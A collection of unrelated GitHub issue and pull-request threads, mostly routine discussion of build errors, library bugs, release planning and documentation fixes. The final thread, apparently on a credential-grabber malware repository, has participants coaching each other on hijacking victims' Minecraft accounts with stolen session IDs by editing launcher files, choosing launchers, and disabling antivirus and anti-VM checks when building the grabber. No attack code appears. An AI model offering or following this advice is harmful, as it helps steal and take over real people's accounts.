Coverage remained the same at 98.389% when pulling 6f02084bda891a739b6f5052c9317270cb5155fb on lholmquist:fix_for_docker_image into 28da8bcab29e1d8377ee500cb388d5fbd10713cc on nodeshift:master.


PHPUnit 9 Shift

This pull request contains changes for upgrading to PHPUnit 9 automated by the PHPUnit 9 Shift.
Before merging, you need to:

Checkout the shift-88726 branch
Review all pull request comments for additional changes
Run composer update (if the scripts fail, add --no-scripts)
Run your tests suite: vendor/bin/phpunit

If there were changes you felt could have been automated, please reply to the follow-up email with your feedback or on Twitter.

:warning: PHPUnit 9 requires PHP version 7.3 or higher. Be sure to verify you met this requirement by running php -v on your test environment.


defunct child process with ChromelyApp on linux

Can be reproduced on CrossPlatDemo Project.
Started processes ends correctly, until Chromely starts.
Just insert this code to Program.cs before AppBuilder.....Run().

var tokenSource = new CancellationTokenSource();
var task = Task.Run(async () =>
{
	var cmd = new string[] { "ls", "-l" };
	while (!tokenSource.Token.IsCancellationRequested)
	{
		try
		{
			cmd.RunShell();
		}
		catch (Exception ex)
		{
			Console.WriteLine(ex);
		}
		await Task.Delay(1000);
	}
});

And RunShell() is defined as:

public static string RunShell(this IEnumerable cmdAndArgs, int timeout = 5000)
{
	var result = string.Empty;
	var cmd = cmdAndArgs.FirstOrDefault();

	if (string.IsNullOrWhiteSpace(cmd))
		return string.Empty;

	using (var process = new Process())
	{
		process.EnableRaisingEvents = true;
		process.StartInfo = new ProcessStartInfo
		{
			FileName = cmd,
			RedirectStandardOutput = true,
			UseShellExecute = false
		};
		foreach (var arg in cmdAndArgs.Skip(1))
			process.StartInfo.ArgumentList.Add(arg);
		process.Start();

		result = process.StandardOutput.ReadToEnd();
		if (timeout > 0)
		{
			if (!process.WaitForExit(timeout))
				Console.WriteLine($"ERR: '{string.Join(' ', cmdAndArgs)}' process doesn't exited.");
			else
				Console.WriteLine($"OKK: '{string.Join(' ', cmdAndArgs)}' exited properly.");
		}
		else
		{
			process.WaitForExit();
		}
		process.Kill(true);
	}

	return result;
}

@jirinalepa this is not directly related to Chromely. CEF is a multi-process, so what you are trying to do may be impacted by that. What we have done with mvc and single instance may be helpful:
web-chromely-mvc
Single Instance

Thanks for the directions. Although it did not completely solve the problem, at least it inspired me to find a workaround.


shubham oulkar folder is added

Hello @ShubhamOulkar, your README file is empty. Kindly cross-check and make the necessary changes.


Phantomjs 2.1.1 doesn't build on Freebsd 10.2

While trying to build on Freebsd 10.2 the following error crops up after less than a minute.
Running configuration tests...
The ICU library support cannot be enabled.
Turn on verbose messaging (-v) to /usr/home/ollie/phantomjs/build/phantomjs/src/qt/qtbase/configure to see the final report.
If you believe this message is in error you may use the continue
 switch (-continue) to /usr/home/ollie/phantomjs/build/phantomjs/src/qt/qtbase/configure to continue.

ERROR: Failed to build PhantomJS! Configuration of Qt Base failed.

icu version 55.1 appears to be correctly installed.

I don't mind working to fix this issue if you can point me in the right direction. Thanks.

Do you have ICU development libraries and header files?

Indeed I do have the ICU development stuff. icu-55.1 is installed, using the standard FreeBSD "pkg install icu".
The headers are in /usr/local/include/unicode
and the libs are in /usr/local/lib/libicu*
Does your build require this stuff to be in /usr/ rather than /usr/local/ ?
Thanks.

Yeah, /usr/local is not searched by default. Thus, try:
python build.py --qt-config "-I /usr/local/include/ -L /usr/local/lib/"

That's it. Thank you sir.

On FreeBSD 10.2 I have the following error (checked out the 2.1.1 version):
g++ -Wl,-O1 -pthread -o ../../../bin/rcc .obj/rcc.o  .obj/main.o   -L/usr/local/lib -L/usr/home/mb/src/phantomjs/src/qt/qtbase/lib -lQt5Bootstrap -lz
/usr/local/lib/libQt5Bootstrap.a(qstring.o): In function `QString::multiArg(int, QString const**) const':
../../corelib/tools/qstring.cpp:(.text._ZNK7QString8multiArgEiPPKS_+0x236): undefined reference to `void std::__1::__sort<std::__1::__less<int, int>&, int*>(int*, int*, std::__1::__less<int, int>&)'
collect2: error: ld returned 1 exit status

@OllieJones, did you encounter the same error and if you did, how did you work around it?

I have the same problem with g++/ld on FreeBSD 10.3. Any ideas?

Experiencing the same issue on Freebsd 10.3 attempting to build phantomjs using port.
Tried gcc 5.1, gcc46


Create script to update gh-pages branch via Jenkins

Alternative to #2656.
This script can either be run locally or triggered in a
GitHub Action or inside the hourly Jenkins cron task.
Next we'll need to update the Jenkins job to call
update-github-pages in addition to deploy-to-s3. When
we're happy that gh-pages is deploying as regularly as
the S3 version, and happy that it works, we can work on
pointing https://docs.publishing.service.gov.uk/ to GitHub
Pages, and then remove the S3 bucket and associated code.
In the long term, we'll probably want to use GitHub Actions
for deployment, which would let us kill off the
Jenkins job altogether. This is dependant on having use
of secrets signed off.
Trello: https://trello.com/c/nEP3URQF/171-host-the-dev-docs-on-github-pages

This shouldn't be needed now. #2656 uses secrets.GITHUB_TOKEN which is defined by default.


Setting a dynamic floor and ceil.

I'm trying to set the slider limits after a api call
and when I set the values the slider stops working
and on console shows this
(this.minValue + b).toFixed is not a function angularjs
This is my slider variable with the options
vm.slider={
minValue: 400,
maxValue: 600,
options: {
floor: 100,
ceil: 1000,
step: 1,
translate: function(value, sliderId, label){
switch (label) {
case 'model':
return 'Min: $' + value;
case 'high':
return 'Max: $' + value;
default:
return '$' + value
}
}
}
};
And this is how I'm setting them after the api call
vm.slider.options.floor=response.min;
vm.slider.options.ceil=response.max;

What is the content of response.min and max?

Thanks for answering so fast. :+1:
Both are integers

¡ValentinH, don't worry! I've al ready fixed the issue :+1:

Great! What was the issue?

I was pretty sure that the values were numbers when in fact were strings and I had to parse them; sorry for that :sweat_smile:

But it seems toFixed() function does actually not exist  !!??
I am having this issue, I guess maybe string-int stuff .. thanks guys


Version 1.0.0

Any reason to hold off on this?
The package appears to be stable.

Hijacking OP for visibility (@bradzacher)
We're actively working on it (and almost there!)
You can track the progress here: https://github.com/bradzacher/eslint-plugin-typescript/milestone/1

publishing 1.0.0 implies that we are releasing a breaking change.
I'll be looking at pushing a new version within the next few days.

@bradzacher Amazing, thanks.

@bradzacher not to be rude but technically before 1.0.0 the rules of semver are actually looser than after. Usually it symbolizes "stable for production". The https://semver.org/ website does have an FAQ. This lib is for sure being used in production so it is probably close to 1.0.0.
However I expect there are a lot of changes coming so maybe plan a few more releases then 1.0.0.
So glad your taking this over! I am quite slammed as I work in eCommerce but after Black Friday should have sometime to do more than just play the peanut gallery.

Would we want to complete the remaining rules in #5 as part of a 1.0.0 release?

@corbinu I didn't actually know that, thanks!
TBH I'm not 100% comfortable releasing as a 1.0.0 "stable" because of the number of issues that keep popping up with no-unused-vars.
Though we're probably just going to have to bite the bullet on that one though considering there are so many edge cases (and we've got the majority of them, I think...).
@macklinu we probably need to define the goals of the plugin.
Is the goal to be a "feature-complete tslint alternative"?
If yes, then we should probably finish #5 before a 1.0.0 release.
If no, then we're in a decent place for a 1.0.0 release (based on the proper definition of 1.0.0 😃)
Regardless, it's probably a good idea to assess the severity/impact of the current known bugs first so we can decide if we are "production stable".
I went through last night and tagged all the current issues appropriately.
I'll spend some time on the weekend properly investigating and post back here.
If you anyone wants to help; feel free to assign yourself to ones you're investigating so we don't double dip on effort.

@bradzacher The single most important thing before 1.0.0 can be considered IMO is bringing things up to date with advancements in the parser. It is very out of date right now.
This PR in particular has major ramifications for the plugin: https://github.com/eslint/typescript-eslint-parser/pull/540

thanks @JamesHenry. I opened #166 last night to track the upgrade.
definitely will have to address that for the 1.0.0.
We might want to add a peer dep (or actual dep) to help keep it tighter and make it easier for users to know what version to use.
I should create a milestone so we can track everything we want for a 1.0.0...

Awesome
On Fri, 16 Nov 2018 at 20:03, Brad Zacher<EMAIL_ADDRESS>wrote:

thanks @JamesHenry https://github.com/JamesHenry. I opened #166
https://github.com/bradzacher/eslint-plugin-typescript/issues/166 last
night to track the upgrade.
definitely will have to address that for the 1.0.0.
We might want to add a peer dep (or actual dep) to help keep it tighter
and make it easier for users to know what version to use.
I should create a milestone so we can track everything we want for a
1.0.0...
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/bradzacher/eslint-plugin-typescript/issues/151#issuecomment-439573183,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AA29qyokHW8B8ldiBVrTQtDOpa3HrMcXks5uv2BigaJpZM4VzbDa
.

woo hoo 🎉
We're in a great spot now thanks to @armano2
Parser is up to date now and a lot of dead code was deleted.
Only a few more things to tidy up for the 1.0.0 release!
https://github.com/bradzacher/eslint-plugin-typescript/milestone/1

i started adding missing informations to AST, they are going to be required to make some of tslint rules.

distinction for declare nodes: https://github.com/JamesHenry/typescript-estree/pull/42
type alias: https://github.com/JamesHenry/typescript-estree/pull/44

any info about v1.0?  i want to use this recently.

we are almost there, we did alot of work in this weekend, you can see remaining tasks here: https://github.com/bradzacher/eslint-plugin-typescript/milestone/1
you can help us by giving feedback for: recommended preset

nice job！
| |
欧亮
<EMAIL_ADDRESS>|
签名由 网易邮箱大师 定制
On 12/17/2018 22:09, Armano wrote:
we are almost there, we did alot of work in this weekend, you can see remaining tasks here: https://github.com/bradzacher/eslint-plugin-typescript/milestone/1
you can help us by giving feedback for: recommended preset
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub, or mute the thread.

@bradzacher @j-f1 what do you think about releasing beta version of package before we will go for 1.0.0 that we can get feedback from community about adjustments and errors?

Yes indeed! I'll be first publishing 1.0.0-rc.0 to the next tag, so that it can be tested before the official 1.0.0 release on latest.

@bradzacher do we have any tasks left to do or we just have bug fixes?

I would agree I have seen a lot of different formats

With most of the rules, we look to the typescript docs to figure out what the advice on what is best practice. The typescript team doesn't prefix names with I https://www.typescriptlang.org/docs/handbook/interfaces.html
Using IName is a convention that stems from the java/c#. This makes sense in those languages, because an interface has a very specific use, so you don't want people to confuse a concrete type with an interface.
However typescript has no such legacy. And interfaces exist purely as a marker for object shapes. Additionally interfaces are mostly interchangeable with types.
Additionally with interfaces allowing constructor fields, you can actually let people confuse an interface with a concrete class!
The interchangeability coupled with the fact that they are compile time only makes the I name prefix an antipattern in TS (much like Hungarian notation!).

1.0.0-rc.1 is live
on the next tag

Commit
867df2ed6fb1d8a1de1771710a9b92ee1f63977b

Tag
https://github.com/bradzacher/eslint-plugin-typescript/tree/1.0.0-rc.1

Release Notes
https://github.com/bradzacher/eslint-plugin-typescript/releases/tag/1.0.0-rc.1

NPM
https://www.npmjs.com/package/eslint-plugin-typescript/v/1.0.0-rc.1

Install
yarn add eslint-plugin-typescript@next

npm i eslint-plugin-typescript@next


Feature/2282 use config safe app api

What it solves
Closes #2282
How this PR fixes it
Makes an axios request to Safe Apps API to get the list of default Safe Apps
How to test it

Open the Apps section
Add a custom safe app
If the endpoint fails it should show the local saved safe apps

Any extra information

Is this ready to be reviewed? It seems to contain many unrelated changes. Also, the formatting is way off.


Fix Lint/UnreachableCode

:+1:

@indirect I think you merged a broken PR. Sorry if I shouldn't have left it open. But I still didn't have the time to investigate why it was breaking in an older version of ruby and rubygems.

If it only fails on a single build matrix entry, it is almost always a network error while talking to RubyGems.org... pretty sure we're safe. :)
On Mon, Jul 20, 2015 at 11:29 AM, Erick Sasse<EMAIL_ADDRESS>wrote:

@indirect I think you merged a broken PR. Sorry if I shouldn't have left it open. But I still didn't have the time to investigate why it was breaking in an older version of ruby and rubygems.
Reply to this email directly or view it on GitHub:
https://github.com/bundler/bundler/pull/3846#issuecomment-122977681


why so many function can not be found in the project?

how can i resolve these erros?
so i have already buy the plugin from the marketplace.and install it.

You need to update NNEngine plugin from Epic Games Launcher.
Some YouTube video explains how to do that. (Note this video is not made by me)


feat: add zzhack to projects

ZZHACK is a webassembly webapp which build in Rust & Yew

@jetli Can any admin review this PR?

@jetli Can any admin review this PR?

@mistricky I've added a review comment before, please make changes according to that.
"Please append your project to the end of this section, and add a dot in the end."


Update Branch to 231fa65

Update the code testing branch to Pull Request #82 , commit 231fa65

This is to have a secondary branch to test fixes for the flatpak lbry-app.desktop file definition, to address the issue #85 . I'm pretty sure I know what's needed, but I don't have a flatpak install to quickly test on to confirm the changes and allow users to test themselves.


Does not work with Amplify CLI v11

This plugin needs to be upgraded to use CDK v2, otherwise, you will get the "construct does not have an associated node. All constructs must extend the "Construct" base class" error when pushing.
See https://github.com/aws-amplify/amplify-category-api/issues/1404

Released in https://github.com/flogy/graphql-ttl-transformer/releases/tag/2.0.1
Thank you very much for your contribution! 🥳


MonadTrans instance is not law-abiding

The simplest example is this: lift (return a) should equal return a. But, with Proxy, lift returns an M _, and return returns Pure. The free monad transformer falls to the same problem (which I'm sure you're aware of, as I believe you created that transformer; EDIT: "you" being Gabriel Gonzalez), so I'm tempted to say the solution would be similar to Free's.
That said, it could be a matter of observability. I'm not sure if it's actually possible to observe the difference, since I don't believe the constructors of Proxy are exported to external libraries. I just thought it was worth bringing up, in case it hadn't been noticed yet.

This is intentional, for performance reasons, and the design choice is documented in the module header of Pipes.Internal: https://hackage.haskell.org/package/pipes-4.2.0/docs/Pipes-Internal.html
The law-abiding solution is to make Proxy equivalent to something like this:
data ProxyF a' a b' b x = Request a' (a -> x) | Respond b (b' -> x)

type Proxy a' a b' b = FreeT (ProxyF a' a b' b)

... where FreeT is the one from the free library
The public pipes API (i.e. everything except Pipes.Internal) doesn't expose a way to detect the law violation and the speed-up from this internal "cheating" is significant.

Cool. I figured.


Run mfa align ... get python error

When I run mfa align ../../sample/ ../../opencpop-extension.txt ../../mfa-opencpop-extension.zip ../../textgrids/result --beam 100 --clean --overwrite command, I get the error below:
Error in atexit._run_exitfuncs:
Traceback (most recent call last):
File "/Users/advance/miniconda3/envs/mfa/bin/mfa", line 10, in
sys.exit(mfa_cli())
File "/Users/advance/miniconda3/envs/mfa/lib/python3.8/site-packages/click/core.py", line 1157, in call
return self.main(*args, **kwargs)
File "/Users/advance/miniconda3/envs/mfa/lib/python3.8/site-packages/rich_click/rich_command.py", line 126, in main
rv = self.invoke(ctx)
File "/Users/advance/miniconda3/envs/mfa/lib/python3.8/site-packages/click/core.py", line 1688, in invoke
return _process_result(sub_ctx.command.invoke(sub_ctx))
File "/Users/advance/miniconda3/envs/mfa/lib/python3.8/site-packages/click/core.py", line 1434, in invoke
return ctx.invoke(self.callback, **ctx.params)
File "/Users/advance/miniconda3/envs/mfa/lib/python3.8/site-packages/click/core.py", line 783, in invoke
return __callback(*args, **kwargs)
File "/Users/advance/miniconda3/envs/mfa/lib/python3.8/site-packages/click/decorators.py", line 33, in new_func
return f(get_current_context(), *args, **kwargs)
File "/Users/advance/miniconda3/envs/mfa/lib/python3.8/site-packages/montreal_forced_aligner/command_line/align.py", line 122, in align_corpus_cli
aligner.align()
File "/Users/advance/miniconda3/envs/mfa/lib/python3.8/site-packages/montreal_forced_aligner/alignment/pretrained.py", line 327, in align
self.initialize_database()
File "/Users/advance/miniconda3/envs/mfa/lib/python3.8/site-packages/montreal_forced_aligner/abc.py", line 288, in initialize_database
MfaSqlBase.metadata.create_all(self.db_engine)
File "/Users/advance/miniconda3/envs/mfa/lib/python3.8/site-packages/montreal_forced_aligner/abc.py", line 294, in db_engine
self._db_engine = self.construct_engine()
File "/Users/advance/miniconda3/envs/mfa/lib/python3.8/site-packages/montreal_forced_aligner/abc.py", line 387, in construct_engine
e = sqlalchemy.create_engine(
File "", line 2, in create_engine
File "/Users/advance/miniconda3/envs/mfa/lib/python3.8/site-packages/sqlalchemy/util/deprecations.py", line 375, in warned
return fn(*args, **kwargs)
File "/Users/advance/miniconda3/envs/mfa/lib/python3.8/site-packages/sqlalchemy/engine/create.py", line 636, in create_engine
raise TypeError(
TypeError: Invalid argument(s) 'pool_size','max_overflow' sent to create_engine(), using configuration SQLiteDialect_pysqlite/NullPool/Engine.  Please check that the keyword arguments are appropriate for this combination of components.
Then I try to change montreal_forced_aligner/abc.py:
kwargs["pool_size"] = 5
kwargs["max_overflow"] = 10
But it still have same problem. How can i resolve it?

Are you using the right version of MFA? Or do you have non-ASCII filenames?


Bump clustertest with fixes

What this PR does
Checklist

[ ] Update changelog in CHANGELOG.md.

Trigger e2e tests
NOT CURRENTLY IMPLEMENTED

I accidentally merged this PR which also bumps this dependency. So now your PR only contains the change in the CHANGELOG.md. 😬


Including a external function

Thanks for the code!
I was able to compile pointing to the path of the library and run the examples successfully.
But I'm having some difficulty in including the special functions of the GSL library in my programs. I tried to include the Li_2 function in the examples but I did not succeed. The output is as follows:
PATHTOTHECODE/gadfit-1.2.3/tests/example.f90: 29: 11:
  Print *, Li2 (10.0)
        1

Error: There is no specific function for the generic 'li2' at (1)
Any tips to solve this problem?
Thanks!

Hi wksauter,
In order to use anything from the GSL library, is must be specified during configuring. Run ccmake on your build directory, and points GSL_DIR the GSL directory (e.g., /usr). Then build again and try to run your code.


Improve IO flexibility

Specifically, this should be refactored away to something more flexible / elegant.

(use_input_io)


Fix test_unmodel to accept ujson encoding without whitespace

The ujson encoding for test_unmodel data is b'"Conventions":"UGRID-0.9.0"'
(without a space after ':') that breaks the test for me.  Update
the test to make the whitespace optional.
That said, I have tried multiple ujson versions, going back to <3,
and was not able to reproduce the output with space.

Fascinating!


Add Profile Configuration Classes to WebForms

Introduced several classes for handling profile configurations within the System.Web.Configuration namespace. These additions facilitate customization and management of user profiles in web applications.
Key Changes:

Added ProfileGroupSettings, a class to represent individual profile groups with properties like Name and PropertySettings.
Implemented ProfileGroupSettingsCollection, a collection to manage multiple profile groups, allowing the addition, removal, and retrieval by name or index.
Created ProfileGuidedOptimizationsFlags enum with values None and All to flag optimization settings.
Introduced ProfilePropertyNameValidator, a validator to ensure valid naming conventions for profile properties.
Developed ProfilePropertySettings and its collection class to define properties of user profiles including customization options like ReadOnly and SerializeAs.
Established ProfileSection to configure profile settings such as enabling the feature, setting a default provider, and grouping profile properties.
Added RootProfilePropertySettingsCollection, a specialized collection for root-level profile property settings with group support.
Defined SerializationMode enum to specify serialization formats for profile properties.

This can be isolated by moving to separate a Internal Project [Configuration Related]


Create CRTFRMSTMF.py

Move all executable scripts into script directory
Move all makei modules into makei directory
Move bob general Makefile into mk directory
Add IBMJob Class to manage database connections, run command within the same job, and dump joblogs
Add getJobLog python program to generate joblog file

Thus we can remove the jq and db2util dependencies

Rewrite CRTFRMSTMF in python
Add support to dump the joblog in crtfrmstmf
Strip some of the outputs
Fix wrong target mapping for MSGF type

why do we need 2 jobs?

We use another job to manipulate the eventf, creat savefile, etc. So that we only dump part of the joblogs.

why do we need 2 jobs?

We use another job to manipulate the eventf, creat savefile, etc. So that we only dump part of the joblogs.

why do we need 2 jobs?

We use another job to manipulate the eventf, creat savefile, etc. So that we only dump part of the joblogs.

with the savf are we not counting on QTEMP to save and restore to so of course they use the same job. There will be a bit of a performance impact but if we don't notice any impact...

We are creating the savf into the QTEMP. But it is still ok to use the same job. Then we will get all the joblogs including the saving and restoring?


Add better support for AppOptions with multiple types (PR 18465 follow-up)

For options with varying types, see useSystemFonts, we're not sufficiently validating the type when setting a new value. This means that for an option that uses OptionKind.UNDEF_ALLOWED we'd allow any value, which is obviously not the intention.
Hence we instead introduce a new and optional type-field that allows specifying exactly which types are valid when multiple ones are supported.
Note: This obviously didn't occur to me until after PR #18465 landed, sorry about that!

/botio-linux preview

/botio-linux preview


PrimitiveDateTime::assume_offset may overflow

assume_offset calls offset_to_utc, which does not perform checks.
https://github.com/time-rs/time/blob/be29bb35f89524a2c9cd3738fe6dce1c5644e59e/src/primitive_date_time.rs#L531-L553
Sample code to reproduce:
use time::macros::{datetime, offset};

fn main() {
    let datetime = datetime!(-999999 - 01 - 01 00:00);
    let datetime = datetime
        .assume_offset(offset!(+10:00))
        .replace_offset(offset!(+00:00));
    assert_eq!(datetime.year(), -1_000_000);
}

In particular, this means methods OffsetDateTime::checked_{add,sub} contain some unexpected behavior when date value is out of range Date::MIN ..= Date::MAX. And their doctests also have overflowed values (Shame on me for not noticing this earlier).
I can write a PR, but what exactly should it change?

Hey, for once I actually noticed this issue previously! See #307 for a detailed description and possible solutions. I previously decided the status quo was acceptable. I'm open to thoughts on other possible solutions (including drawbacks), given that I doubt many people saw #307 at the time.

Well, personally I'd always choose correctness over convenience. Luckily, it seems we don't have to choose this time.
For now, our options are:

We leave everything as-is. The obvious drawback is that we leave this bug open. Actually, a whole family of bugs.

We make some functions non-const. This is one kind on inconvenience as they will not be usable within const expressions anymore,

We make API fallible. This is another kind of inconvenience, as users will have to unwrap value one way or another. And there's no way to unwrap in const expressions.

We can wait for stabilization of const_panic. It is already in beta so, hopefully, it will soon be in stable. With const_panic we have two more options:

Add functions for checked conversions and make existing API depend on them.
Replace existing conversions with checked ones, as unwrapping will be possible within const expressions.

The only drawback I see is that we'll have to bump MSRV.

Personally, I'd pick 4-th option. Bumping MSRV for the sake of fixing bugs seems reasonable.
Whether it should be option I or II is questionable. If unwrap will instantly get const qualifier, then I see a little sense in keeping a lot of similar functions (forever) just to save users from writing it. These functions are fallible, so it should be obvious that they are, and users should explicitly unwrap the value if they are completely sure these functions have succeeded or don't care if they failed. But this is only my opinion.

(4) is precisely what I was thinking, but with a hack (array indexing) to simulate const panic before it's been on stable for six months (that'll occur on 2022-06-02). Once I insert the check I'd just note that the function can panic in the documentation.
Time 0.4 is a long ways off, but making the function fallible is something that might be worth considering.

Oh, you mean something like
macro_rules! const_unwrap_opt {
    ($e:expr) => {{
        if let Some(value) = $e {
            value
        } else {
            [][0]
        }
    }}
}

This will do.

Yeah, something to that effect. It's not pretty but it works.

So, your intent is to allow out-of-range values in internal code?

That's correct. There's nothing that actually restricts or makes it unsafe to do so; the data structure is more than capable of handling the extra day on each end. It's logical that a user would want an in-range date in the stored offset. We just need to make sure that it is in-range when changing the offset.

Then current checked_add/checked_sub implementations for OffsetDateTIme are not valid. E.g. when duration is 0 or some really small value. Because they use internal self.utc_datetime and depend on checked arithmetic of PrimitiveDateTime, which assumes that PrimitiveDateTime is always in it's range. This can be resolved by applying offset (thus getting local PrimitiveDateTime that is in range), doing arithmetic and then converting back.
Another drawback is that there will be some OffsetDateTime values that cannot be converted back to PrimitiveDateTime (UTC).

I've been thinking about this some more. I'd like to mull this over for a bit, as it seems like the checks will cause more hassle than it's worth. The edge cases are likely quite rare, so I'll have to weigh the different options.
Right now, I'd say I'm leaning slightly towards not promising behavior at the edges, which would allow significantly faster operations in a number of cases.

If we dig a little deeper...  Is there a reason why OffsetDateTime stores utc_datetime + offset and not something like offset_datetime + -offset? If we make this change, we will get rid of computations in all the getters, will not get out of PrimitiveDateTime's range, will be able to strictly define minimum/maximum values, move conversions to methods that do conversions (Like to_offset), thus are expected to not be always cheap and may be falible, maybe more. It sort of screams to be changed (:
Forgive me If I don't see something obvious that prevents doing all of this.

One of the options presented in #307:

Store the internal PrimitiveDateTime in terms of the attached UtcOffset, not UTC. While feasible for OffsetDateTime, this could prove disastrous down the road when it comes to an implementation using tzdb, as similar behavior would be expected. This would then mean that it is not possible to determine the actual moment in time that should be represented, as clocks change on occasion (notably daylight saving time), causing ambiguities in the local time.

For OffsetDateTime specifically it is possible (and was actually what was done originally iirc). But all that does is kick the can down the road, as it would still need to be addressed for ZonedDateTime or whatever it ends up being called.

I spent some time reading tz-how-to.html from tzdb. Now I see what do you mean.
And it seems I have run out of options.

Exactly — it's a tricky issue with no obvious solution. Of course the temporary fix will be #386, but beyond that I'll probably require a proper "solution" that deliberately ignores externally mandated bounds.

Actually, we can do something to make this work with tzdb.
Both PrimitiveDateTime and OffsetDateTime have inclusive range from -999999 - 01 - 01 00:00:00.0 to 999999 - 12 -31 23:59:59.999999999. We can limit future ZonedDateTime to the same range of values. Then, do computations in terms of UTC datetime (With possible overflow, just like in OffsetDateTime), convert timestamp to local datetime and see whether it fits in aforementioned range or not. If it fits, then ``checked_*` operation succeeds, otherwise - fails.
I have not checked the whole tzdb, but from a few records that I have seen, it seems overflow will be within 2 days range, so there should be no problems.

That sounds like it should work even in edge cases. With regard to tzdb, I'd be astounded if anywhere had an offset of more than 24 hours at any point in history. The current range is UTC–12 to UTC+14.
I'll need to document this approach in the tzdb tracking issue. I'll probably switch how OffsetDateTime stores the data internally, though that'll rely on the output of benchmarks. I suspect they will overwhelmingly improve. In the meantime I need to review your PR fixing the bug.

I'm going to close this as intentional (described earlier in this issue). That said, I am going to investigate switching the internal representation.


Introduce new .NET SDK version for Rooms GA

Contributing to the Azure SDK
Please see our CONTRIBUTING.md if you are not familiar with contributing to this repository or have questions.
For specific information about pull request etiquette and best practices, see this section.

API change check
API changes are not detected in this pull request.


Load/Save pretrained models

In order for this project to be useful, we need to be able to initialize it with already pre-trained models.
Currently the fitting is done on one large dataset that without the ability to add languages afterwards.

Implement MLReadable/MLWritable classes
Implement loading of pretrained models

This has now been added


Any Windows Plan?

Looking forward to a Windows version...

Maybe later, I don't have a window machine so I have to setup https://www.appveyor.com/ for automatic deploy.

Great, thank you!

@egoist Well, I'll try latter.  :smile:

Hello,
I have successfully executed the "ui view" command from node under Windows, here is the line to modify ^^''
const cmd = spawn('cmd.exe', ['/c', 'vue', 'ui']);

I hope it will be useful: D
PS: Sorry, I'm quite new to GitHub, moreover, a PR on my part would provide much more work than necessary (my knowledge of Javascript is quite limited).


Fix served models logs formatting error

Describe changes
Add a try expect to the served models get logs to CLI function to pass formatting error that rich.console fails on
Pre-requisites
Please ensure you have done the following:

[X] I have read the CONTRIBUTING.md document.
[X] If my change requires a change to docs, I have updated the documentation accordingly.
[ ] If I have added an integration, I have updated the integrations table and the corresponding website section.
[ ] I have added tests to cover my changes.

Types of changes

[X] Bug fix (non-breaking change which fixes an issue)
[ ] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to change)
[ ] Other (add details above)

@fa9r  rich documentation doesn't provide enough information about this. it only says that
Rich will raise MarkupError if the markup contains one of the following errors:

Mismatched tags, e.g. "[bold]Hello[/red]"

No matching tag for implicit close, e.g. "no tags[/]"

Regarding the question, I think yes if there is one of these two cases any other console.print may fail and I don't think rich.console.Console has any argument for this

@safoinme Okay, I see. Yeah then let's just merge it like this for now and potentially revisit and generalize the fix once we encounter the same issue in other places.


Ingress docs diagrams are broken

Diagrams (e.g. under "What is Ingress?", and "Simple Fanout") are not rendering at all on Chrome, and are rendering an error "Syntax error in graph  mermaid version 8.13.0" in Firefox.
https://kubernetes.io/docs/concepts/services-networking/ingress/#simple-fanout

Maybe relevant with:

#31960
#32420

/triage duplicate

Rendering to be working reliably now for me at the moment on both FF and Chrome with the identical setup fyi, whereas I wasn't able to get any of these diagrams to render at all previously even with hard refreshes (I have not tried the cache disable nor bandwidth limitting suggested in the other thread).

Is this OK to close in favor of tracking the original issue?

Yup.


Extra_links can contain duplicates

Sphinx-Needs should check if extra_links_options contains duplicates.
This may be the case in more complex project setups, in which the final configuration is merged from multiple sources.

@danwos can I work on this! I recently came across this project and found it quite interesting.Currently getting familiar with the codebase. I think this issue would be a good starter. Cheers : )

Hey @khanjasir90,
sorry for the late response.
Sure, you can work on whatever you want and your help is highly appreciated :+1:
If you have any questions, don't hesitate to ask them.

Hey @danwos ,
I was working on this and if think that it should be only implemented here https://github.com/useblocks/sphinx-needs/blob/6d7740f0c13aa4c089a4a2747c1ae91cd305131a/sphinx_needs/needs.py#L448 . Whats your take on this!


fix: add fallback for reading stats file

I couldn't find a way to test/run this locally. But anyway, somehow the stats.py  stopped running and now there is a gap in the generated stats files. I figured google analytics still has the data, so we can just read it from there when the expected stats-file doesn't exist.

Woot! Seems to work great. Thanks for the fix ❤


Question

What is the minecraft session for if you cant really log into theyre account or can you?

If the session is active, you can replace the files in your .minecraft folder with the ones you got, you can login to their minecraft accoumt.

If I remember correctly, you can use liquid bounce to log into their minecraft account.

can you tell me how exactly to get on to their account, and also it seems the new blank grabber version doesent steal nothing else than passwords and discord accounts

I never did it myself but you may search for it on google.
Can you try to run the grabber with antivirus/defender off

Is liquid bounce even safe i see reddit posts about it overheating theyre computers

https://github.com/CCBlueX/LiquidBounce

Might help: https://www.unknowncheats.me/forum/minecraft/483869-login-session-id.html

Wheres the session id located?

you can always manually edit your launcher_profiles and launcher_accounts file to just replace an entry with the session id you stole

You may try this. You may try to replace the whole file.

thank you, the new version doesent get other details though i use no
security on
On Sat, 13 May 2023 at 02:13, Blank @.***> wrote:

you can always manually edit your launcher_profiles and launcher_accounts
file to just replace an entry with the session id you stole
You may try this. You may try to replace the whole file.
—
Reply to this email directly, view it on GitHub
https://github.com/Blank-c/Blank-Grabber/issues/191#issuecomment-1546273146,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/A3NON52WMREMSS6DB2BZ7H3XF2OGLANCNFSM6AAAAAAX6MCGCA
.
You are receiving this because you commented.Message ID:
@.***>

does tlauncher work
with replacing the files?

thank you, the new version doesent get other details though i use no security on

Can you try it on a VM? (Log into one here) Make sure to turn off Anti VM when building.

does tlauncher work with replacing the files?

You may try.
Also just so you know, the session token is only one time use. If the victim logged in his minecraft account, the token would automatically reset.

tlauncher dosnt work what other launchers may it work on?

i will check it out and let you know. you got discord by chance?
let me know your name
On Sat, 13 May 2023 at 16:28, BlitzFan1209 @.***> wrote:

tlauncher dosnt work what other launchers may it work on?
—
Reply to this email directly, view it on GitHub
https://github.com/Blank-c/Blank-Grabber/issues/191#issuecomment-1546621965,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/A3NON547FSZKTFHEKFWVZMDXF5SN3ANCNFSM6AAAAAAX6MCGCA
.
You are receiving this because you commented.Message ID:
@.***>

eae6t3#7020

tlauncher dosnt work what other launchers may it work on?

It may also be possible that the session id has expired. Its one time use. And it expires when the original owner logs in the game the next time.

not sure how to explain.

what launcher should i use

what launcher should i use

Just use TLauncher, I think it should work fine.

tlauncher dosnt work

Like I said more than 3 times, it can be possible that the key is expired thats why its not working.

Yeah ik i tried it like a minute after i got the key

